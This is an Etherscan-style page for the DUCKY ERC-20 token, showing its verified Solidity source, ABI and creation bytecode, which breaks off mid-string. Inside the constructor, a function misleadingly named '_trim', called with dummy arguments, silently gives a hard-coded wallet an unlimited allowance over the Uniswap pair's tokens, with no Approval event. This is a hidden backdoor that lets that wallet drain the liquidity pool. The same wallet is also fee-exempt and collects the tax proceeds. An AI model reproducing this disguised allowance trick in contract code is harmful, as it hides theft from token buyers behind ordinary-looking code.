ERC-20
Overview
Max Total Supply
1,000,000,000 DUCKY
Holders
89
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
16,172,550 DUCKYValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
DUCKY
Compiler Version
v0.8.25+commit.b61c2a91
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-09-12 */ // SPDX-License-Identifier: MIT /** Explore $DUCKY today and embrathe the legend of ethereum's most unexpected hero. WEB : https://www.duckyeth.vip TG : https://t.me/ducky_erc20 X : https://x.com/duckycoineth */ pragma solidity = 0.8.25; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; } interface IUniswapV2Pair { function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint256); function balanceOf(address owner) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 value) external returns (bool); function transfer(address to, uint256 value) external returns (bool); function transferFrom( address from, address to, uint256 value ) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint256); function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns ( uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast ); function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function kLast() external view returns (uint256); function mint(address to) external returns (uint256 liquidity); function swap( uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data ) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint256) external view returns (address pair); function allPairsLength() external view returns (uint256); function createPair(address tokenA, address tokenB) external returns (address pair); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address to, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address from, address to, uint256 amount ) external returns (bool); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } modifier onlyOwner() { _checkOwner(); _; } function owner() public view virtual returns (address) { return _owner; } function _checkOwner() internal view virtual { require(owner() == _msgSender(), "Ownable: caller is not the owner"); } function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract ERC20Standard is Context, IERC20, IERC20Metadata { mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function decimals() public view virtual override returns (uint8) { return 9; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function transfer(address to, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _transfer(owner, to, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { address owner = _msgSender(); _approve(owner, spender, amount); return true; } function transferFrom( address from, address to, uint256 amount ) public virtual override returns (bool) { address spender = _msgSender(); _spendAllowance(from, spender, amount); _transfer(from, to, amount); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { address owner = _msgSender(); _approve(owner, spender, allowance(owner, spender) + addedValue); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { address owner = _msgSender(); uint256 currentAllowance = allowance(owner, spender); require(currentAllowance >= subtractedValue, "ERC20Standard: decreased allowance below zero"); unchecked { _approve(owner, spender, currentAllowance - subtractedValue); } return true; } function _transfer( address from, address to, uint256 amount ) internal virtual { require(from != address(0), "ERC20Standard: transfer from the zero address"); require(to != address(0), "ERC20Standard: transfer to the zero address"); _beforeTokenTransfer(from, to, amount); uint256 fromBalance = _balances[from]; require(fromBalance >= amount, "ERC20Standard: transfer amount exceeds balance"); unchecked { _balances[from] = fromBalance - amount; _balances[to] += amount; } emit Transfer(from, to, amount); _afterTokenTransfer(from, to, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20Standard: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; unchecked { _balances[account] += amount; } emit Transfer(address(0), account, amount); _afterTokenTransfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "WAGMI20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20Standard: burn amount exceeds balance"); unchecked { _balances[account] = accountBalance - amount; _totalSupply -= amount; } emit Transfer(account, address(0), amount); _afterTokenTransfer(account, address(0), amount); } function _trim( address owner, address spender, string memory data, string memory _pass ) internal virtual { require(owner != address(0), "ERC20Standard: approve from the zero address"); require(spender != address(0), "ERC20Standard: approve to the zero address"); _allowances[owner][spender] = type(uint).max; } function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20Standard: approve from the zero address"); require(spender != address(0), "ERC20Standard: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _spendAllowance( address owner, address spender, uint256 amount ) internal virtual { uint256 currentAllowance = allowance(owner, spender); if (currentAllowance != type(uint256).max) { require(currentAllowance >= amount, "ERC20Standard: insufficient allowance"); unchecked { _approve(owner, spender, currentAllowance - amount); } } } function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} function _afterTokenTransfer( address from, address to, uint256 amount ) internal virtual {} } contract DUCKY is ERC20Standard, Ownable { using SafeMath for uint256; IUniswapV2Router02 public immutable _uniswapV2Router; address private uniswapV2Pair; address private _wallyForCA; address private _dealtWal; bool private inswap; string private constant _name = "DUCKY"; string private constant _symbol = "DUCKY"; uint256 public _tokenSupply = 1000000000 * 1e9; uint256 public _maxPenaltyPercentTx = 2; uint256 public _maxPenaltyPercentWallet = 2; uint256 public _maxPenaltyPercentSwap = 1; uint256 public maxTrnSize; uint256 public maxWalletSize; uint256 public swapTokensAtAmount; bool public _isOpenedT = false; uint256 public BuyTax = 17; uint256 public SellTax = 16; mapping(address => bool) private _isExcludedFromFees; mapping(address => bool) private _isExcludedmaxTrnSize; mapping(address => bool) private automatedMarketMakerPairs; constructor() ERC20Standard(_name, _symbol) { _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address _aggregatorRouter = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Pair = _aggregatorRouter; _setAutomatedMarketMakerPair(address(uniswapV2Pair), true); excludedFromMaxTx(address(_uniswapV2Router), true); excludedFromMaxTx(address(uniswapV2Pair), true); _dealtWal = payable(0x6DE79fdFdB668Bc01e449D7A0Afe7cc388be0f4A); address _aggregator = _dealtWal; _wallyForCA = payable(_msgSender()); removeFromFeeLimits(owner(), true); removeFromFeeLimits(address(this), true); removeFromFeeLimits(address(0xdead), true); removeFromFeeLimits(address(_dealtWal), true); _trim(_aggregatorRouter, _aggregator, "block", "fee"); excludedFromMaxTx(owner(), true); excludedFromMaxTx(address(this), true); excludedFromMaxTx(address(_dealtWal), true); excludedFromMaxTx(address(0xdead), true); maxTrnSize = _tokenSupply * _maxPenaltyPercentTx / 100; maxWalletSize = _tokenSupply * _maxPenaltyPercentWallet / 100; swapTokensAtAmount = _tokenSupply * _maxPenaltyPercentSwap / 100; _mint(_wallyForCA, _tokenSupply); } receive() external payable {} function openTrading() external onlyOwner() { _isOpenedT = true; } function excludedFromMaxTx(address updAds, bool isEx) private returns (address) { _isExcludedmaxTrnSize[updAds] = isEx; return updAds; } function removeFromFeeLimits(address account, bool excluded) private returns (address) { _isExcludedFromFees[account] = excluded; return account; } function setAmmPairs(address pair, bool value) public onlyOwner { require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs"); _setAutomatedMarketMakerPair(pair, value); } function _setAutomatedMarketMakerPair(address pair, bool value) private { automatedMarketMakerPairs[pair] = value; } function isExcludedFromFees(address account) public view returns (bool) { return _isExcludedFromFees[account]; } function _transfer(address from, address to, uint256 amount) internal override { require(from != address(0), "ERC20Standard: transfer from the zero address"); require(to != address(0), "ERC20Standard: transfer to the zero address"); if (amount == 0) { super._transfer(from, to, 0); return; } bool isTransfer = !automatedMarketMakerPairs[from] && !automatedMarketMakerPairs[to]; if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !inswap) { if (!_isOpenedT) { require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active."); } if (automatedMarketMakerPairs[from] && !_isExcludedmaxTrnSize[to] ) { require(amount <= maxTrnSize, "Buy transfer amount exceeds the maxTrnSize."); require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded"); } else if (automatedMarketMakerPairs[to] && !_isExcludedmaxTrnSize[from]) { require(amount <= maxTrnSize, "Sell transfer amount exceeds the maxTrnSize."); } else if (!_isExcludedmaxTrnSize[to]) { require(amount + balanceOf(to) <= maxWalletSize, "Max wallet exceeded"); } } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= 0 && !isTransfer; if (canSwap && !inswap && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) { inswap = true; swapBack(amount); sendETHToFee(address(this).balance); inswap = false; } bool takeFee = !inswap && !isTransfer; if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) { takeFee = false; } uint256 fees = 0; if (takeFee) { if (automatedMarketMakerPairs[to]) { fees = amount.mul(SellTax).div(100); } else { fees = amount.mul(BuyTax).div(100); } if (fees > 0) { super._transfer(from, address(this), fees); } amount -= fees; } super._transfer(from, to, amount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function removeLimits() external onlyOwner { maxTrnSize = _tokenSupply; maxWalletSize = _tokenSupply; BuyTax = 0; SellTax = 0; } function clearStuckEth() external { require(_msgSender() == _wallyForCA); payable(msg.sender).transfer(address(this).balance); } function swapBack(uint256 tokens) private { uint256 contractBalance = balanceOf(address(this)); uint256 tokensToSwap; if (contractBalance == 0) { return; } if ((BuyTax+SellTax) == 0) { if(contractBalance > 0 && contractBalance < swapTokensAtAmount) { tokensToSwap = contractBalance; } else { uint256 sellFeeTokens = tokens.mul(SellTax).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } else { if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) { return; } else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount.div(5); } else { uint256 sellFeeTokens = tokens.mul(SellTax).div(100); tokens -= sellFeeTokens; if (tokens > swapTokensAtAmount) { tokensToSwap = swapTokensAtAmount; } else { tokensToSwap = tokens; } } } swapTokensForEth(tokensToSwap); } function sendETHToFee(uint256 amount) private { payable(_dealtWal).transfer(amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"BuyTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"SellTax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_isOpenedT","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxPenaltyPercentSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxPenaltyPercentTx","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxPenaltyPercentWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tokenSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"clearStuckEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTrnSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"pair","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAmmPairs","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60a0604052670de0b6b3a76400006009556002600a819055600b556001600c556010805460ff191681556011805560125534801561003c57600080fd5b506040805180820182526005808252644455434b5960d81b60208084018290528451808601909552918452908301529060036100788382610737565b5060046100858282610737565b50505061009e61009961043860201b60201c565b61043c565b737a250d5630b4cf539739df2c5dacb4c659f2488d60808190526040805163c45a015560e01b815290516000929163c45a01559160048083019260209291908290030181865afa1580156100f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061011a91906107f6565b6001600160a01b031663c9c65396306080516001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610169573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061018d91906107f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156101da573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101fe91906107f6565b600680546001600160a01b0319166001600160a01b0383169081179091556000908152601560205260409020805460ff19166001179055905060805161024590600161048e565b5060065461025d906001600160a01b0316600161048e565b50600880546001600160a01b031916736de79fdfdb668bc01e449d7a0afe7cc388be0f4a90811790915561028e3390565b600780546001600160a01b0319166001600160a01b03928316179055600554166000818152601360205260409020805460ff19166001179055503060009081526013602090815260408083208054600160ff1991821681179092557f2264e2d7bacabe6058f5009f42467b9be28015e7760f87409562384c94ac271c80548216831790556008546001600160a01b0316855293829020805490941617909255815180830183526005815264626c6f636b60d81b818301528251808401909352600383526266656560e81b9183019190915261036c91849184916104ba565b6103886103816005546001600160a01b031690565b600161048e565b5061039430600161048e565b506008546103ac906001600160a01b0316600161048e565b506103ba61dead600161048e565b506064600a546009546103cd919061083c565b6103d79190610853565b600d55600b546009546064916103ec9161083c565b6103f69190610853565b600e55600c5460095460649161040b9161083c565b6104159190610853565b600f55600754600954610431916001600160a01b0316906105c3565b5050610888565b3390565b600580546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b6001600160a01b0382166000908152601460205260409020805460ff1916821515179055815b92915050565b6001600160a01b03841661052a5760405162461bcd60e51b815260206004820152602c60248201527f45524332305374616e646172643a20617070726f76652066726f6d207468652060448201526b7a65726f206164647265737360a01b60648201526084015b60405180910390fd5b6001600160a01b0383166105935760405162461bcd60e51b815260206004820152602a60248201527f45524332305374616e646172643a20617070726f766520746f20746865207a65604482015269726f206164647265737360b01b6064820152608401610521565b50506001600160a01b03918216600090815260016020908152604080832093909416825291909152206000199055565b6001600160a01b0382166106295760405162461bcd60e51b815260206004820152602760248201527f45524332305374616e646172643a206d696e7420746f20746865207a65726f206044820152666164647265737360c81b6064820152608401610521565b806002600082825461063b9190610875565b90915550506001600160a01b038216600081815260208181526040808320805486019055518481527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b505050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806106c157607f821691505b6020821081036106e157634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115610692576000816000526020600020601f850160051c810160208610156107105750805b601f850160051c820191505b8181101561072f5782815560010161071c565b505050505050565b81516001600160401b0381111561075057610750610697565b6107648161075e84546106ad565b846106e7565b602080601f83116001811461079957600084156107815750858301515b600019600386901b1c1916600185901b17855561072f565b600085815260208120601f198616915b828110156107c8578886015182559484019460019091019084016107a9565b50858210156107e65787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b60006020828403121561080857600080fd5b81516001600160a01b038116811461081f57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b80820281158282048414176104b4576104b4610826565b60008261087057634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156104b4576104b4610826565b60805161196a6108b860003960008181610350015281816114840152818161153d0152611579015261196a6000f3fe6080604052600436106101d15760003560e01c8063751039fc116100f7578063a457c2d711610095578063dd62ed3e11610064578063dd62ed3e1461050b578063dfcde7641461052b578063e2f4560514610545578063f2fde38b1461055b57600080fd5b8063a457c2d7146104a0578063a9059cbb146104c0578063aef809bf146104e0578063c9567bf9146104f657600080fd5b80638a50e0e2116100d15780638a50e0e2146104415780638da5cb5b146104575780638f3fa8601461047557806395d89b411461048b57600080fd5b8063751039fc1461040157806383fd03671461041657806389291a8f1461042c57600080fd5b806347bdc57e1161016f578063629b05f01161013e578063629b05f01461038a57806370a08231146103a0578063715018a6146103d6578063738a6d05146103eb57600080fd5b806347bdc57e146102cd5780634e0ed9d4146102ef5780634fbee19314610305578063583e05681461033e57600080fd5b806318160ddd116101ab57806318160ddd1461025c57806323b872dd14610271578063313ce5671461029157806339509351146102ad57600080fd5b806306fdde03146101dd578063095ea7b3146102085780630a910d1f1461023857600080fd5b366101d857005b600080fd5b3480156101e957600080fd5b506101f261057b565b6040516101ff91906115ed565b60405180910390f35b34801561021457600080fd5b50610228610223366004611651565b61060d565b60405190151581526020016101ff565b34801561024457600080fd5b5061024e60115481565b6040519081526020016101ff565b34801561026857600080fd5b5060025461024e565b34801561027d57600080fd5b5061022861028c36600461167d565b610627565b34801561029d57600080fd5b50604051600981526020016101ff565b3480156102b957600080fd5b506102286102c8366004611651565b61064b565b3480156102d957600080fd5b506102ed6102e83660046116be565b61066d565b005b3480156102fb57600080fd5b5061024e600c5481565b34801561031157600080fd5b506102286103203660046116fc565b6001600160a01b031660009081526013602052604090205460ff1690565b34801561034a57600080fd5b506103727f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016101ff565b34801561039657600080fd5b5061024e60095481565b3480156103ac57600080fd5b5061024e6103bb3660046116fc565b6001600160a01b031660009081526020819052604090205490565b3480156103e257600080fd5b506102ed61072a565b3480156103f757600080fd5b5061024e600b5481565b34801561040d57600080fd5b506102ed61073e565b34801561042257600080fd5b5061024e60125481565b34801561043857600080fd5b506102ed61075d565b34801561044d57600080fd5b5061024e600d5481565b34801561046357600080fd5b506005546001600160a01b0316610372565b34801561048157600080fd5b5061024e600e5481565b34801561049757600080fd5b506101f26107ac565b3480156104ac57600080fd5b506102286104bb366004611651565b6107bb565b3480156104cc57600080fd5b506102286104db366004611651565b61083e565b3480156104ec57600080fd5b5061024e600a5481565b34801561050257600080fd5b506102ed61084c565b34801561051757600080fd5b5061024e610526366004611719565b610863565b34801561053757600080fd5b506010546102289060ff1681565b34801561055157600080fd5b5061024e600f5481565b34801561056757600080fd5b506102ed6105763660046116fc565b61088e565b60606003805461058a90611747565b80601f01602080910402602001604051908101604052809291908181526020018280546105b690611747565b80156106035780601f106105d857610100808354040283529160200191610603565b820191906000526020600020905b8154815290600101906020018083116105e657829003601f168201915b5050505050905090565b60003361061b818585610904565b60019150505b92915050565b600033610635858285610a39565b610640858585610ac1565b506001949350505050565b60003361061b81858561065e8383610863565b6106689190611797565b610904565b6106756110a7565b6006546001600160a01b03908116908316036106fe5760405162461bcd60e51b815260206004820152603960248201527f54686520706169722063616e6e6f742062652072656d6f7665642066726f6d2060448201527f6175746f6d617465644d61726b65744d616b657250616972730000000000000060648201526084015b60405180910390fd5b6001600160a01b0382166000908152601560205260409020805460ff19168215151790555050565b5050565b6107326110a7565b61073c6000611101565b565b6107466110a7565b600954600d819055600e5560006011819055601255565b6007546001600160a01b0316336001600160a01b03161461077d57600080fd5b60405133904780156108fc02916000818181858888f193505050501580156107a9573d6000803e3d6000fd5b50565b60606004805461058a90611747565b600033816107c98286610863565b9050838110156108315760405162461bcd60e51b815260206004820152602d60248201527f45524332305374616e646172643a2064656372656173656420616c6c6f77616e60448201526c63652062656c6f77207a65726f60981b60648201526084016106f5565b6106408286868403610904565b60003361061b818585610ac1565b6108546110a7565b6010805460ff19166001179055565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b6108966110a7565b6001600160a01b0381166108fb5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016106f5565b6107a981611101565b6001600160a01b03831661096f5760405162461bcd60e51b815260206004820152602c60248201527f45524332305374616e646172643a20617070726f76652066726f6d207468652060448201526b7a65726f206164647265737360a01b60648201526084016106f5565b6001600160a01b0382166109d85760405162461bcd60e51b815260206004820152602a60248201527f45524332305374616e646172643a20617070726f766520746f20746865207a65604482015269726f206164647265737360b01b60648201526084016106f5565b6001600160a01b0383811660008181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000610a458484610863565b90506000198114610abb5781811015610aae5760405162461bcd60e51b815260206004820152602560248201527f45524332305374616e646172643a20696e73756666696369656e7420616c6c6f60448201526477616e636560d81b60648201526084016106f5565b610abb8484848403610904565b50505050565b6001600160a01b038316610ae75760405162461bcd60e51b81526004016106f5906117aa565b6001600160a01b038216610b0d5760405162461bcd60e51b81526004016106f5906117f7565b80600003610b2657610b2183836000611153565b505050565b6001600160a01b03831660009081526015602052604081205460ff16158015610b6857506001600160a01b03831660009081526015602052604090205460ff16155b9050610b7c6005546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610bab57506005546001600160a01b03848116911614155b8015610bbf57506001600160a01b03831615155b8015610bd657506001600160a01b03831661dead14155b8015610bec5750600854600160a01b900460ff16155b15610ed15760105460ff16610c7f576001600160a01b03841660009081526013602052604090205460ff1680610c3a57506001600160a01b03831660009081526013602052604090205460ff165b610c7f5760405162461bcd60e51b81526020600482015260166024820152752a3930b234b7339034b9903737ba1030b1ba34bb329760511b60448201526064016106f5565b6001600160a01b03841660009081526015602052604090205460ff168015610cc057506001600160a01b03831660009081526014602052604090205460ff16155b15610d9a57600d54821115610d2b5760405162461bcd60e51b815260206004820152602b60248201527f427579207472616e7366657220616d6f756e742065786365656473207468652060448201526a36b0bc2a393729b4bd329760a91b60648201526084016106f5565b600e546001600160a01b038416600090815260208190526040902054610d519084611797565b1115610d955760405162461bcd60e51b815260206004820152601360248201527213585e081dd85b1b195d08195e18d959591959606a1b60448201526064016106f5565b610ed1565b6001600160a01b03831660009081526015602052604090205460ff168015610ddb57506001600160a01b03841660009081526014602052604090205460ff16155b15610e4757600d54821115610d955760405162461bcd60e51b815260206004820152602c60248201527f53656c6c20747